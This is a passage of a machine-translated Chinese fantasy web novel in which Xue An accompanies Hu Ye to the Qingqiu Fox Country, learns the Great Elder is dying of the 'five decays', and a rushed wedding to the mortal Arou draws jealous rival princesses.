    After the dragon temple was demolished at that time, Xue An led everyone on board the star boat and left the dragon ancestral land.


    While on the way, Xue An asked An Yan to come out with missed thoughts and others, and then threw this temple into the Fubao Xiaolou.


    Now that more than a day has passed, and I don''t know what happened to Fu Bao Xiaolou, An Yan is naturally a little worried.


    Xue An smiled when he heard the words, "Don''t worry, the ball is in very good condition now, almost..."


    Xue An observed it with his spiritual mind, and then said: "It has almost been swallowed by half, and it will be eaten up in a few days at most."


    An Yan couldn''t help asking: "So big a temple, can you let the ball be eaten?"


    "Big?" Xue An smiled and shook his head, "On the contrary, the ball is probably not big enough!"


    As Xue An said.


    At this moment in the Fubao Xiaolou, it can be described as a mess.


    This rune ball swallowed the Dragon Temple almost madly. It looked like a hungry ghost who hadn''t eaten for three days saw a rich banquet, wishing to swallow all his tongue.


    And every time it swallows, its body will grow bigger, and the scales of the fish will become brighter.


    In the end, it had become a behemoth with a height of ten meters and a body length of several tens of feet, and the speed of swallowing it became faster.


    It wasn''t just it that had changed. The Fubao Xiaolou also began to emit a bright brilliance, and there was a creaking sound coming from it, as if something was breaking and then being recombined.


    The momentum of the entire Fubao Xiaolou kept rising.


    Faintly, there are already some signs of breakthrough.


    "I''m really looking forward to it! I don''t know what this small Fubao building with poor texture will look like after the Dragon Temple is swallowed up!" Hu Ye said softly.


    Xue An smiled slightly, "It should be pretty good."


    With the ancestral planet where the Dragon Race lives as the center, the star field with a radius of hundreds of thousands of miles is regarded as the jurisdiction of the Dragon Race, so it is also called the Dragon Region.


    After crossing the dragon domain, there is a vast starry sky.


    The big monster races basically live in this starry sky.


    Qingqiu Fox Country is no exception.


    It''s just that the strength of the Qingqiu Fox Country is too strong, so they also occupy a corner of the starry sky like the Dragon Race, and it is also called the Fox Race Domain.


    Even at the speed of this starship , it took three full days to be considered close to the edge of the fox field.


    The closer you are to home, the more nervous Fox Ye is.


    Even the look with Hu Ying became solemn.


    Xiaosha, as a complete outsider, couldn''t help asking Zhang Xiaoyu with some doubts.


    "What''s the matter? Why do I think these two are going home soon, not only are they unhappy, but very nervous?"


    Zhang Xiaoyu coughed slightly, "This is of course there is a reason, as for what the reason is, then it''s a long story."


    Xiao Sha stared, "Then make a long story short."


    "Yes, yes!" Zhang Xiaoyu immediately stunned, and got to Xiaosha''s ear just to introduce the situation.


    At this moment, a cold voice suddenly came from outside the Xingzhou.


    "Fifth elder fox punishment in the Qingqiu fox country, welcome Master Honglian!"

 Chapter 1854： 3 trees

    Hearing this voice, the faces of the siblings, Hu Ye and Hu Ying, turned white.


    "Damn, how come he came to greet him! It''s over, this time is over." Hu Ye''s expression was extremely ugly.


    The Five Elder Fox Punishment is a supernatural existence.


    And unlike the fox, the five elders are in charge of punishment, and he is selfless and doesn''t pretend to anyone.


    Qingqiu Fox Junior High School is not afraid of him.


    Especially Hu Ye, because he was naughty, he had been beaten by this fox torture since he was a child, so when he heard that he was coming, Hu Ye was so scared that he was about to turn around and run away.


    Even Hu Ying was shocked and inexplicably horrified.


    She seemed to feel the trembling of Fox Ye, A Rou held Fox Ye��s hand from behind.


    It was this silent handshake that made Linghuye calm down quickly.


    At the same time, Xue An smiled slightly and said loudly: "I didn''t expect the fifth elder of the penalty hall to come to meet him personally. It''s so polite."


    As he said, the door of Xingzhou opened slowly, and Xue An walked out.


    Hu Ye took a deep breath, and then followed.


    After everyone walked out of the star boat, they saw a group of people standing in the void not far away.


    There are males and females in this group. They are not too old, and all of them are beautiful and well-dressed, but the tails of some people behind them show their identities.


    It is the fox family of Qingqiu Fox Country.


    The leader is a man in his thirties.


    This man has a cold face and does not smile, but his facial features are very handsome, and he has a unique charm with the cold breath on his body.


    It is the famous five elder fox punishment that made countless fox tribes fearful.


    After seeing Xue An, this Fox Punishment first took a close look at him, and then a look of surprise appeared in his eyes.


    The news that Honglianxian respects the return of life can be described as the most explosive news from the heavens in the recent period.


    Naturally, Fox Punishment also knows.


    Moreover, the three elders also recounted what happened to the dragon clan after returning.


    That''s why Fox Xing said to welcome Xue An''s arrival here.


    But he never expected that he could not see Xue An''s strength.


    You must know that Fox Punishment is a master of the fairy king who has been famous for a long time.


    Its strength can be ranked among the monsters.


    But with this kind of existence, it is impossible to see the depth of Xue An''s strength.


    This is terrible.


    Because this red lotus immortal respected how long his life was, but in such a short time, he not only re-certified the Dao Immortal King, but also reached an incredible height.


    Fox Xing''s heart was shaken, and Xue An''s assessment of Xue An''s strength also went up a lot.


    At the same time, Xue An glanced at the greeted team, and couldn''t help but smile: "For such a big battle, the fifth elders, did you know that we would be here?"


    Fox Xing suppressed the distracting thoughts in his heart, and said in a deep voice: "After the three elders came back to report the letter, I led the people to wait here, and I really waited for you!"


    Xue An nodded and said with a faint smile: "It''s a good idea!"


    At this moment, Hu Ye and Hu Ying stepped forward to bow and salute.


    "Five Elders!"


    Seeing these brothers and sisters, a weird color appeared in Fox Xing''s eyes, and Xuan even raised his eyes to look at A Rou not far away.


    As soon as her gaze reached, Arou was struck by lightning, her body was shaken, and her complexion turned pale.


    Xiaosha sneered when he saw it, and took a step forward, directly blocking Fox Xing''s eyes.


    "Hey, old man, is it a bit too much to attack a mortal woman who has no power to bind a chicken?"


    Old man?


    This name Linghu Punishment is somewhat wrong.


    "Dragon? Or a newborn baby dragon?"


    Xiao Sha''s face sank instantly, "You are the newborn baby dragon, my old lady is already an adult!"


    These fangs and claws did not make Fox Punishment angry.


    In fact, no one will be angry with a little loli who can make people cute.


    I saw him chuckled, and then looked at Xue An, Hu Ye and the others with a deep look.


    "Master Honglian, Fox Night, please come with me, the Great Elder has been waiting for you in the Fox Country for a long time!"


    A cold sweat appeared on Huye''s forehead, and he stammered: "Big...Big elder wants to see me?"


    "Yes! Hurry up, don''t let the great elder wait in a hurry!"


    After all, he didn''t wait for everyone to react, and he turned and flew into the fox field.


    Huye was trembling nervously all over.


    Although he had made up his mind long ago, it was inevitable that he was still a little out of control.


    Upon seeing this, Xue An shook his head and sighed, "Fox Night!"


    "Ah...huh?"


    "Let''s go, what you should see is always to see, and what you should come is inevitable. This matter has come to be faced!"


    Huye''s breathing gradually calmed down, and finally nodded, "Hmm!"


    The domain of the fox race is very vast. This time they did not ride in the star boat, but urged their bodies to fly in behind the Fox Xing and others.


    Unlike the dragons living on a huge planet, the foxes live scattered.


    There are many dazzling planets in the domain of the fox race.


    These planets are big and small, but without exception, they are full of foxes.


    And when Fox Xing and others flew through the void, the fox races on these planets were also alarmed.


    "Here comes, the fifth elders are back!"


    "Is the famous Red Lotus Immortal Venerable that followed? He looks so handsome!" said a fox girl with bright eyes.


    "Bah, I''m crazy about everyone, and don''t look at who the other person is!" Another fox girl sipped, and then looked at Xue An obsessively.


    "I have long heard that this Red Lotus Immortal Venerable is a young man like a jade. When I saw it today, it was really extraordinary. If you can develop a relationship with him, wouldn''t it be a good story?"


    This group of fox girls twittered and started **** with smirk.


    As one of the best monsters among the heavens, the fox girl is famous for her enthusiasm and hotness.


    This kind of unscrupulous talk about men can only appear in the Qingqiu Fox Country.


    And the attention of these male foxes are all focused on Fox Ye.


    "The old man is back, but I don''t know if he can pass this level!"


    "Yeah, it''s unreasonable that the good old man found a mortal woman to be his partner."


    "This Red Lotus Immortal Venerable should come back together for this matter too! After all, he and our eldest son are iron buddies!"


    "HahaWhat about the Red Lotus Immortal Venerable? If the elder is angry, it won''t work for anyone!"


    In addition, there are many young male foxes who have focused their attention on Huying.


    "The little princess went out, her strength has improved a lot!"


    "Yes, I look more beautiful!"


    Just when the entire Qingqiu Fox Country was discussing in secret.


    Xue An and others followed the Fox Punishment to the core area of ??the Qingqiu Fox Country.


    A tree that grows in the void, its height does not know how many miles, the branches and leaves even cover the front of a big tree that covers hundreds of thousands of miles of starry sky.


    This is the most important holy thing of the Tianhu clan, the Sansheng Tree.


    Fox Punishment stopped, stepped back to the side, and said in a deep voice: "Master Honglian, the elder is waiting for you, please!"

 Chapter 1855： The starry sky is vast and the jade tower is clean.

    Xue An and others came under the Sansheng Tree.


    Only when you get close can you better understand how huge this tree really is.


    The cyan tree trunks stood there like a wall, which made people feel pressured.


    When you look sideways, you can''t even see the border of the trunk, as if the entire space is occupied by this tree.


    Compared with it, the sacred tree of the abyss that Xue An had seen before in the abyss pales in comparison.


    The people like Hu Ye and Hu Ying who were used to seeing these scenes didn''t feel much, but An Yan and A Rou and others were completely shocked by the scene before them.


    Even thinking about talking to Nian Nian, these two little girls couldn''t help but exclaim, "Wow, Dad, this tree is so big!"


    Xue An smiled slightly, "Of course, because this tree is known as the number one sacred tree in the heavens!"


    "So amazing?" Thinking about it, surprised.


    "It''s so amazing!" Xue An said with a smile.


    At this moment, I only heard a chuckle from the void, "Wan''er said that Lord Honglian has a pair of extremely clever and lovely daughters. When I see it now, it really deserves its reputation!"


    The voice is clearer and gentler, making people feel like a spring breeze just by hearing.


    But after hearing this voice, Huye and Huying looked solemn, and even their standing posture became respectful.


    Xue An smiled freely, "What? The elder invited me to come, just to praise my daughter?"


    "of course not!"


    With that said, in front of everyone, an escalator emerged out of thin air, winding upward along the trunk of the Sansheng Tree, and finally disappeared in the boundless darkness.


    "Excuse me for not being able to come out to greet you personally now, please walk up this escalator and you will see me."


    Guanghua flashed in Xue An''s eyes, and then nodded, "Okay!"


    After all, Xue An stepped up the escalator, and everyone followed.


    The moment everyone stepped on the escalator, the escalator suddenly began to climb rapidly.


    The speed is so fast that it is too late to react.


    Everyone just felt that there was a flower in front of them, and then they suddenly opened up.


    At the foot, there are branches that are as thick as a mountain, and above the head are stars that are shining like diamonds, and the distance between the stars is so close that they can be picked up by just reaching out.


    Just under such a beautiful starry sky, there was a white jade-like tower standing impressively, emitting a soft and crystal clear light.


    The starry sky is vast and the jade tower is clean.


    Everyone was stunned by this scene.


    Xiaosha whispered softly: "I wipe, is this a real scene?"


    Only Xue An stood there calmly, his eyes flickering, as if he was thinking about something.


    at the same time.


    Before the Jade Pagoda, a man''s shadow gradually emerged.


    Although it was only a virtual image, when he completely appeared in front of everyone, it still drew everyone''s shock.


    It''s all because this man is so perfect.


    That''s right!


    It''s perfect.


    A pair of sword-like eyebrows slanted into the temples, and his lavender eyes were shining like gems, but the most striking thing was the red, flame-like tan patterns between his eyebrows.


    This tan pattern is like a magical power, it can not help but fall into it, unable to extricate itself.


    Xue An''s mouth gradually raised, and he sighed softly, "I didn''t expect that I haven''t seen you for so long, the elder, you are still as usual...beautiful!"


    This man is the great elder of the Qingqiu Fox Country, and is known as the Fox Venerable of the Fox King.


    After hearing Xue An''s words, the elder chuckled, "Master Honglian still loves to talk and laugh so much. I am a man. How can I describe it as beautiful?"


    Xiao Sha woke up from the shock, grinned, and muttered in a low voice: "My mother, really a man! But this man is much more beautiful than a woman."


    The sound was not loud, but the audience instantly calmed down. Xiao Sha was shocked and closed her mouth immediately.


    At this time, the great elder smiled and looked at her, startled slightly, and then smiled: "Hey, it is a brand new dragon clan, so cute and interesting!"


    Xiao Sha, who had always been fearless and fearless, blushed rarely after hearing the words of the elder, and then he dared not say anything.


    The Great Elder didn''t say anything, but looked at the two brothers and sisters, Huye and Huying.


    Wherever I look.


    The two obediently bowed their heads and said in unison: "Elder!"


    The elder watched silently, and only sighed softly after a long time, "Ying''er, you are so inconvenient to worry about, just run away from home, why haven''t heard from him for so long? Fortunately, I met Honglian. Your lord, what else can I do if something goes wrong?"


    Hu Ying trembled all over, "Grand Elder..."


    "Okay." The elder waved his hand, "Anyway, it''s good that people can come back safely. The rest...I''ll talk about it later."


    Having said that, he turned his head and looked at the Fox Ye on the side.


    Big drops of cold sweat appeared on Huye''s forehead.


    Unexpectedly, the great elder didn''t say anything, but took a deep look at him, and then stopped his gaze on A Rou who was aside.


    "Are you Arou?"


    A Rou''s nervous complexion turned pale and nodded very cautiously.


    "Well, you come in with Huye!"


    After that, the elder arched his hand at Xue An, "Master Honglian, please wait outside for a while. I have a few words to say to both of them."


    The nervous Fox Ye looked at Xue An as if asking for help.


    But Xue An seemed to have not seen it, smiled faintly and nodded, "Okay!"


    Fox night is stupid, his face is full of expressions like you are teasing me.


    But the matter is now, he can only obediently follow the virtual image of the elder to the jade pagoda.


    After walking a few steps, he suddenly held A Rou''s hand, and the expression on his face became determined.


    It''s as if someone who has been forced to a corner and has been unable to retreat finally burst out with unparalleled courage.


    The two of them finally disappeared in the jade pagoda.


    An Yan finally couldn''t help it and asked in a low voice: "Husband, why are you..."


    Why didn''t the latter say, but the meaning is already obvious.


    Xue An looked at the jade pagoda solemnly, and said lightly: "Things are far from that simple. In contrast, this marriage seems to be less important."


    An Yan didn''t understand what it meant, but she heard from Xue An''s tone that things had obviously changed, so she closed her mouth and stopped talking.


    The atmosphere became very solemn.


    People are waiting quietly.


    Hu Ying clenched her tense hands tightly, her palms full of sweat.


    Brother, you have to come on!


    Just when everyone thought they needed to wait a long time, the door of the Jade Tower suddenly opened.


    Then Hu Ye walked out of it with a dazed expression, and A Rou was also full of consternation, as if he had encountered something unimaginable.

 Chapter 1856： 5 decay

    The crowd immediately surrounded them.


    "Brother, how is it? What did the Great Elder say?" Hu Ying asked urgently.


    "The Great Elder...he agreed!" Hu Ye said in a daze.


    what?


    The eyes of everyone opened instantly.


    I thought it would take a lot of hard work to do something, but it was so easy to succeed.


    Hu Ying was even more incredulous, "What did you say? How did the great elder tell you?"


    Like seeing a ghost during the day, Hu Ye said in a daze, "After the elder asked us to go in, he just asked if I really like her. I answered yes. Then he asked Arou if he would marry. Me, Arou also answered yes, and then he agreed!"


    Everyone was shocked.


    It''s that simple?


    Agree after only two sentences?


    Hu Ying also murmured in a daze, "It shouldn''t be, the elder is not so easy to talk about!"


    They all know the temper of the elder.


    Knowing that this seemingly beautiful and weak elder is actually extremely principled, and any violation of the fox clan''s rules is taboo in his eyes.


    What happened to Fox Ye this time was that it was a mess of flowers and grass when it was small, and when it was bigger, it was a reckless act that ignored the interests of the fox clan.


    After all, he is the recognized heir of the Qingqiu Fox Country.


    How could the great elder agree to such a thing so readily?


    Is this totally unreasonable?


    Just as everyone was in doubt, the voice of the Great Elder came from the jade tower again.


    "Guren-sama, please come in!"


    Xue An''s face sank like water, without speaking, he walked towards the Jade Pagoda.


    Unlike what I saw outside, the space in the jade pagoda was very large, but it was a huge temple, with soft stars falling on the high dome.


    The great elder sat on the high platform of the temple, lowered his head, as if thinking about something.


    Xue An walked straight to the high platform, then stopped and watched silently.


    After a long time, the great elder slowly raised his head, and a wry smile appeared on his handsome face.


    "You can see it?"


    Xue An nodded.


    "As expected of Red Lotus Immortal Venerable, I can''t hide anything from you."


    The elder whispered, and then the brilliance on his body gradually withered, and his dazzling eyes were also dimmed, and there were fine wrinkles on his forehead, and even the temples were stained with white spots.


    A stinking smell began to emerge from him.


    Xue looked at him quietly, and finally said: "The clothes are dirty, the head is wilted, the armpits are sweating, the body is filthy, and I am unhappy."


    "You have already accounted for four of the five decays of heaven and man, and it is a miracle that you can still support it up to now."


    "You are wrong!" The elder shook his head gently, "It''s five."


    With that, the seat under him gradually decayed, as if it would collapse at any time.


    At this time, even Xue An''s face couldn''t help flashing a look of surprise, "Five fadings appear?"


    "Yes!"


    The Grand Elder smiled bitterly, "Are you surprised that I''m like this, why haven''t I died?"


    Xue An was silent.


    Because he was really surprised.


    You must know that the five declines of heaven and human beings are a catastrophe that all monster races have heard of.


    As long as there is a sign, it means that your life will gradually come to an end.


    And the five signs are present, which means that you are no longer tolerated by the heavens, and if nothing happens, you will be obliterated on the spot.


    And this kind of obliteration directly affects your fate, no matter how high your strength is, there is nothing you can do about it.


    And now the great elder of the Qingqiu Fox Nation has apparently suffered from five failures, but is still alive, which is really a miracle.


    At this moment, branches stretched out from the void and pierced into the body of the great elder violently, and then saw a steady stream of majestic anger poured into it.


    The wrinkles on the face of the great elder gradually disappeared, and the white hair on the temples turned black.


    Xue An shook slightly.


    The elder gently stroked these branches, a sigh appeared on his face, "It''s really hard for you. I have been trying to force my life."


    As if he could understand what he was saying, the branches trembled slightly, and then blossomed strange flowers.


    The flowers swayed, seeming to say something to the great elder.


    The elder chuckled, "Okay, don''t waste it, no matter how angry I instill, I won''t be able to escape this disaster."


    The flowers withered in an instant, and these branches turned into dust and scattered into the air.


    Then the elder raised his head and looked at Xiang Xue An, "You have also seen it, I live by this."


    With just a word of effort, wrinkles appeared on his face again, and he was even older than before.


    "This old friend of mine has always been reluctant to leave me, but it never thought that people are always going to die, even if it is as strong as the universe, the ultimate destination will be dying."


    Speaking of this, the elder smiled at Xue An, "You died once, so you should understand this truth better."


    Xue An did not answer his words, but asked: "When did it start?"


    "It should be when Ying''er escaped from the Qingqiu Fox Country, otherwise do you think I will let her wander outside forever?"


    The elder smiled bitterly, "At that time, I couldn''t leave this jade pagoda. Every day the Sanshengshu instilled anger into me and helped me fight against the five decays of heaven and man, so I have survived until now."


    Xue An was silent again, and after a long while, he said in a quiet voice, "Who else knows about this?"


    The elder shook his head, "No one knows except you, including Wan''er, they all thought I was practicing in retreat."


    Speaking of this, the eyes of the elder became bright, "Red Lotus Immortal Venerable, do you know that I used various methods to fight against the five decays of heaven and man, and refuse to die. Why?"


    Xue An was silent for a moment, and then said in a deep voice, "Is it because of me?"


    "Yes." The great elder replied simply, "It''s because of you."


    "But at that time, I seemed to have just fallen The elder shook his head and chuckled, "I didn''t believe you would die from the beginning to the end, because you are the first since the beginning of the heavens. How could a person who proves Dao Immortal Venerable, such as your luck, fall so simply? "


    "So you kept the word from everyone and have been waiting for me here?" Xue An said in an incredible way.


    The elder nodded, and then smiled: "Don''t want to ask me why I am waiting for you?"


    "why?"


    "Because I want you to help Fox Ye ascend to the throne, and take charge of the Qingqiu Fox Country, so that the Fox tribe will not suffer from charcoal!" At this point, the eyes of the Great Elder have become extremely hot.


    Xue looked at the Great Elder quietly, and then said: "You have so much confidence in me. You know that I am just an immortal king now. How can I afford this important task?"


    "Hehe, if I don''t even have confidence in the Red Lotus Immortal Venerable, then no one can make me confident." The elder chuckled lightly, and then looked at Xue An with bright eyes.


    "Now tell me, what is your answer!"

 Chapter 1857： 10 days later, the period of the marriage contract

    Xue An did not answer directly, but lowered his head and thought for a while before speaking slowly.


    "But I still don''t understand why you agreed to Huye''s marriage. If you look like you, shouldn''t you find a strong enough partner for Huye?"


    "It''s very simple, because once I die, the Qingqiu Fox Country will instantly become a target. If his partner is a little bit different, the entire fox family may be worried about destruction."


    "It is true that this woman is a mortal, but at least the two of them truly love each other, that''s enough."


    Xue An raised his eyebrows slightly, "Will the great elder believe in love?"


    "I didn''t believe it before, but now the more time is running out, the more I feel that life is boring and boring. All kinds of power, fame and fortune are nothing more than mere clouds of fame and fortune. Love seems cute and precious, and...


    The great elder smiled, but did not mention anything more, but asked: "When do you think Foxye and their wedding is suitable?"


    Xue An was startled slightly, and then said with a weird look: "You are so sure that I will agree?"


    "Of course!" A very chicken-thief smile appeared on the grand elder''s face, "Actually, I asked you just to walk away from the situation, because from the moment you stepped into this jade pagoda, your heart There is already an answer, right?"


    Xue An took a deep look at the elder, and then sighed softly: "It''s sloppy. I should have thought that none of you old guys who have lived for tens of thousands of years are vegetarian."


    "Thank you!" The elder said with a smile, but at this moment, he suddenly coughed violently.


    This kind of cough seemed to cough up all his lungs, full of ominous signs.


    Xue looked quietly, but there was a hint of worry in his eyes.


    Finally, the elder stopped his coughing, and then took a few violent gasps. His eyes were full of exhaustion, and the gray hair on his head became more and more.


    Xue An said solemnly: "You can''t hold it anymore?"


    The great elder laughed at himself, "It''s almost there. I can feel that the repulsion of God''s Dao has become stronger and stronger. I will be forcibly wiped out in at most another half a month."


    Xue An was silent for a long time, and suddenly said, "The wedding of the Fox Night will be scheduled for ten days. Before you die, you have to leave with peace of mind."


    The elder did not ask why it was ten days, let alone why Xue An said he wanted to leave with confidence.


    He smiled, then nodded very solemnly, "Thank you!"


    "Don''t thank me, because of my relationship with Huye, I can''t ignore this matter naturally."


    As he said, Xue An turned around and said lightly: "So you should take good care of your body, but don''t have to die before it''s time!"


    After that, Xue An took a step and walked out.


    The great elder looked at his back, with a touch of comfort in his eyes.


    Because he knew that since Xue An said that, it meant that this matter of the Qingqiu Fox Country, he was next.


    When Xue An walked out of the jade pagoda, everyone hurriedly greeted him.


    "How? What did the Great Elder say?" Hu Ye asked anxiously.


    Xue An smiled slightly, "The elder said that ten days from now will be a good day and the best day to marry, so your wedding will be set on that day."


    Hu Ye stared at Xue An in a dazed expression. It was not until a long time later that he said: "The elder really told you that? You are not kidding me!"


    "Joke, can you still joke about these things?"


    As he said, Xue An raised his hand and patted Hu Ye on the shoulder, "Prepare as soon as possible, there are only ten days!"


    Then Xue An turned and left.


    Hu Ye looked at Xue An''s back with a strange expression.


    After a long time, Hu Ying whispered: "Brother, what shall we do next?"


    Hu Ye gritted his teeth abruptly, "I immediately notify all parties that I will marry my partner in ten days."


    Soon, the news spread.


    When I heard the news that the Fox Night Wedding would be held ten days later, the entire Qingqiu Fox Country was a sensation.


    "I gave a big rub, did I hear you wrong, did the elder agree to this marriage?"


    "Who said no, this matter doesn''t sound like it is true. Will the Great Elder really agree?"


    "Who knows, maybe there is something we don''t understand in it!"


    "Ahem, the Monster Race is lively now."


    As the last fox clan said, when the news spread, the whole monster clan was shaken by it.


    "What? The eldest son of the Qingqiu Fox Country is actually getting married? Which demon clan''s daughter is the other party?"


    "I heard that it is not a member of the monster race, but a human race!"


    "Fuck, I heard that right, the eldest son of Qingqiu Fox Country actually married a celebrity girl? Are these elders of Qingqiu Fox Country crazy? How could they agree to such a ridiculous marriage?"


    Almost all the Yaozu thought the news was false when they heard about it.


    Because no matter how you look at it, this is absolutely impossible.


    But the fact is so, but they don''t believe it.


    Fire rat tribe.


    As a bloodline of the demon clan handed down from the ancient times, although this fire rat clan is not well-known, it is a genuine demon clan.


    now.


    The eldest princess of the fire rat tribe is dressing up in her boudoir.


    Because the bloodline of the Fire Rat tribe is too strong, the princess also inherited all the characteristics of the Fire Rat tribe perfectly.


    I can''t talk about the sharp-mouthed monkey cheeks, but at least the facial features give people a weird feeling.


    Despite this, the eldest princess of the Fire Rat clan still feels good, drawing her eyebrows and eyes to the vanity mirror.


    At this moment, a little maid ran in in a panic.


    "Miss, the big business is not good, Master Fox Yehu is about to get married!"


    As soon as the words came out, the eyebrow pencil in the hand of the fire rat patriarch princess fell off instantly, and then she asked sharply: "What did you say? You say it again!"


    The little maid trembled all over, but still bit the bullet and said: "The young fox night fox from Qingqiu Fox Country is about to get married!"


    The complexion of the elder princess of Fire Rat became extremely ugly in an instant Is it Ao Yi, the second princess of the Dragon clan? "


    She also knew about the marriage between Hu Ye and Ao Yi, so she asked.


    Unexpectedly, the little maid shook her head, "No! I heard that this young fox is going to marry a human race!"


    "Human race?" The Fire Rat clan elder princess asked in surprise.


    "Yes, it''s Human Race!"


    At this time, the face of the fire mouse clan elder princess became uncertain.


    As a bloodline handed down from ancient times, this fire mouse clan elder princess has played with Fox Night since she was a child, and can be called a childhood sweetheart''s playmate.


    When I was young, many people booed and said that the princess of the fire mouse patriarch would marry Fox Ye in the future.


    These words Hu Ye just listened to, completely not thinking about it.


    But the patriarch of Fire Rat took it seriously.


    And has always regarded himself as a fox night.

 Chapter 1858： Green Tea Fire Rat

    Of course, the Fire Rat Clan elders contributed to this.


    After all, the strength of Qingqiu Fox Country is obvious to all. If this marriage can be formed, it will be a golden opportunity for the Fire Rat tribe.


    But Hu Ye was appointed by the elder himself, and concluded a marriage contract with the second princess of the dragon clan.


    For this reason, the eldest princess of the Fire Rat clan secretly cried more than once.


    But she didn''t give up completely, but dreamed that one day she could succeed Princess Long Er.


    As a result, before the dream came true, Hu Ye suddenly came out like this.


    Not to mention the upcoming marriage, even the object of marriage is not the monster, but a little-known human woman.


    How could this convince the princess of the fire rat patriarch.


    I saw her complexion suddenly turned pale.


    "Humanite girl? Haha, don''t tell me if Fox Night is too dizzy, isn''t even the Great Elder of Qingqiu Fox Country stupid? How could he agree to such a marriage?"


    The little maid was like a chill, dare not say a word.


    After a long time, the elder princess of Fire Rat clan raised her head suddenly and looked at the little maid with cold eyes, "When will the wedding be held?"


    "The news says it''s ten days later!"


    "After ten days?" The fire rat patriarch princess couldn''t help being even more surprised.


    Because this time is too tight.


    "Yes, after ten days!"


    "Well, I will go to inform the elders now, and then go to the Qingqiu Fox Country. I want to see what kind of Human Race women have such great charm, and they can be recognized by the entire Fox Race elders!"


    Then the whole fire rat clan moved after hearing the wind.


    After hearing the news, the elders were also full of incredible faces, and then "filled with righteous indignation" followed the elder princess aggressively to Qingqiu Fox Country Xingshi to question the crime.


    at the same time.


    In that distant dragon ancestral land.


    The princess Ao Qing also received the news.


    But before she was surprised at this, the door was slammed open, and then the second princess Ao Yi rushed in violently.


    "Sister, have you received the news?"


    Ao Qing nodded with a wry smile, "Just received it!"


    Ao Yi gritted his teeth and said: "It''s really deceiving. My engagement hasn''t been terminated yet. He actually dared to hold the wedding publicly. I have to ask for an explanation about this matter."


    Ao Qing was shocked, "What are you going to do?"


    "What are you doing? Haha, don''t blame me for being unrighteous if he is not kind!" Ao Yi''s eyes showed a cold brilliance, "I want to ask, what is so good about that blind girl? The princess is even better!"


    Ao Qing opened her mouth and wanted to give some advice, but she didn''t know where to start, so she finally closed her mouth helplessly.


    At the same time, a trace of doubt appeared in her mind.


    What are these elders from Qingqiu Fox Country doing?


    Actually allow this to happen?


    Don''t they plan to maintain the purity of the fox blood?


    These questions were mixed in Ao Qing''s mind, and she was also puzzled.


    Also unbelievable are the elders of the Qingqiu Fox Country.


    For example, this fox vine.


    She never expected that things would turn out to be like this.


    "The Great Elder simply agreed?"


    Huye nodded, "Yes! That''s how I agreed!"


    "I''ll rub, what the **** does the great elder think?" The fox was plunged into deep self-doubt.


    The same thing she thought was her pet.


    now.


    The entire dragon temple has been swallowed, and the successfully evolved rune koi is sticking to the little fox like a piece of dog skin plaster, and can''t avoid it.


    Especially because of the successful evolution, this rune ball became large or small, and even temporarily transformed into a human form.


    In this way, this little fox is even more unavoidable.


    Can only accept the destruction of the ball silently like his fate.


    In contrast, Fox Ye, the party concerned, was more calm about this.


    Nevertheless, he asked Xue An more than once.


    "Old Xue, what did the great elder say to you in the jade pagoda, just tell me!"


    Xue An smiled mysteriously, "Do you want to know that?"


    "Ok!"


    "Then you call a dad, let me listen!"


    "..."


    "Old Xue, you didn''t do it like this. I''m not in the mood to joke with you now." Hu Yeyi said righteously.


    Xue An said indifferently: "I didn''t make a joke with you either. If you want to know, you can call Dad first, otherwise...you will know naturally when you wait.


    "Cut, let alone pull it down, I don''t want to know yet!" Hu Ye curled his lips.


    Unlike the nervousness of Hu Ye, Ah Rou was rather calm.


    There is not even much excitement.


    Because this result is the best she can imagine, no matter whether it is successful or not, she actually has no extravagant hopes.


    at last.


    After receiving the news, the monster races from all sides began to arrive one after another.


    Although the current Yaozu is in a troubled autumn, everyone who is disturbed by an emperor''s flow is panic.


    But the marriage of the grandson of Qingqiu Fox Country still shocked many monster races.


    Basically all that can come have come, even if they can''t come, they have brought generous gifts.


    With the passage of time, the festive atmosphere of the entire Qingqiu Fox Country has grown stronger.


    No matter how many opinions there are on this matter, but when the matter comes, all the planets in the entire Qingqiu Fox Country are lit up and ready to welcome this day.


    Under this situation, when the fire rat clan people arrived, the eldest princess looked at the lively scene outside, almost bursting out of fire in her eyes.


    "It''s so lively, is this marriage true?" said the princess of the fire rat patriarch hatefully.


    "Okay, now is not the time to entangle these things, the key is to figure out the details of the woman Fox Ye is going to marry ~ www.novelhall.com~ the fire rat clan elder said.


    "Huh, it''s just a mere mortal woman, what''s the details?" The princess sneered.


    At this moment, Fox Night also rushed to bring many people from the Fox Clan.


    After all, the Fire Rat Clan is a big faction among the Monster Clan, especially the relationship between the elders of the previous generation, so after hearing of their arrival, Fox Night rushed over.


    After seeing Fox Ye''s back, the eldest princess''s expression changed. She immediately changed from the previous bitterness to a gentle smile, and then greeted the fox night with a bow and said with a smile.


    "Brother Fox!"


    The voice dragged a long tail, Linghuye''s hairs all stood up, and he almost wanted to turn around and leave.


    But because the elders of the Fire Rat clan are all here, he is not good at it, so he can only bite the bullet and smile and say: "It turns out to be Sister Fire Rat, please come in!"


    The eldest princess of the Fire Rat tribe looked around, pretending to be surprised, and said: "Oh, isn''t the sister that Brother Fox is going to marry hasn''t come? I really want to see her!"

 Chapter 1859： All parties gathered

    Fox Ye said with a solemn expression, "She will be wearing a wedding dress for the interview now, it is not convenient to meet guests."


    Fox night once promised Arou to give her a grand wedding.


    Nowadays, although many things are too late due to time constraints, this wedding dress is essential.


    For this reason, Fox Night even hired many skilled craftsmen at high prices to make custom wedding clothes for Arou.


    In fact, making clothes is also a profound knowledge, and its importance is no less than cooking ingredients, because clothes are often also an important magic weapon, so there are sects specializing in making clothes in these heavens.


    Under normal circumstances, it takes at least three years to make a wedding gown.


    After all, those who can afford wedding dresses of this size are from various sects or powerful ethnic groups.


    Marriage is often set long ago, so time is abundant.


    But Huye will get married in ten days this time, which means that this wedding gown must be finished in ten days.


    This is almost an impossible task.


    In the beginning, no one was willing to take this order at all, until Fox Ye gave a high price that they couldn''t refuse, these talents were considered to have accepted it.


    But the time is really too tight, so Arou has been cooperating throughout the process and trying on it so that he can improve as soon as he finds the problem.


    Under this circumstance, Arou, who was supposed to accompany Huye to greet the many distinguished guests, was naturally absent.


    After hearing what Fox Ye said, a flash of resentment and jealousy flashed in the eyes of the fire mouse patriarch princess, but Xuan even disappeared without a trace, and said with a smile: "It''s really enviable, look. Brother Laihu likes this sister very much?"


    Hu Ye frowned slightly. He naturally knew what the fire mouse clan elder princess thought. He refused more than once, but she never gave up. As long as she returned to Qingqiu Fox Country, she would find various reasons. Come close to yourself.


    Huye was really annoying about this, but he couldn''t say anything, so he could only try his best to keep a distance from the princess.


